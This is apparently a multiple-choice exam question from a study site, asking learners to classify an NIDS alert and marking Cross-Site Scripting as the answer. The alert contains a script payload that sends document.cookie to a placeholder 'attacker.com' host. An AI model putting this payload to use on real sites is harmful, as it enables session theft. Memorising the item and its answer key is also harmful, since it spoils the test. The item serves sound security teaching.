Examkin

Soru

Zorluk: KolayNetwork Security Monitoring and Alerting

A security analyst is examining a real-time alert generated by a Network Intrusion Detection System (NIDS). The alert payload captures an HTTP POST request sent from an internal corporate host to an external web application:

`POST /profile/update HTTP/1.1`
`Host: portal.example.com`
`Content-Type: application/x-www-form-urlencoded`
`Data: username=user1&bio=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>`

Based on the network security monitoring alert, which of the following attack types is occurring?

  1. Cross-Site Scripting (XSS)Cevap
  2. B
    SQL Injection (SQLi)
  3. C
    Honeypot decoy deflection
  4. D
    Buffer overflow attack

Cevap

The alert indicates a Cross-Site Scripting (XSS) attack because the payload contains HTML/JavaScript code designed to run client-side scripts and steal browser cookies.
The correct answer is Cross-Site Scripting (XSS). The captured payload contains script tags (`<script>`) designed to execute malicious JavaScript within a web browser context to exfiltrate session tokens via `document.cookie`.

Adım Adım Çözüm

1
Analyze the HTTP packet payload in the NIDS alert log.
Identified HTML `<script>` tags and browser DOM manipulation (`document.cookie`).
Script tags and DOM property access are signatures of client-side code execution.
2
Differentiate between database injection and client-side script injection.
The payload targets browser execution rather than backend database syntax.
SQL injection targets database commands (e.g., SELECT, UNION), whereas XSS targets web client execution.
3
Select the matching attack classification.
Confirmed the alert represents a Cross-Site Scripting (XSS) attempt.
XSS occurs when untrusted user input containing executable script tags is accepted by a web application.

Anahtar Kavram

Identifying attack signatures in NIDS/SIEM network monitoring logs
Bu soruyu puanla

Konular

Network Security Monitoring and Alerting

Bu konudan daha fazla soru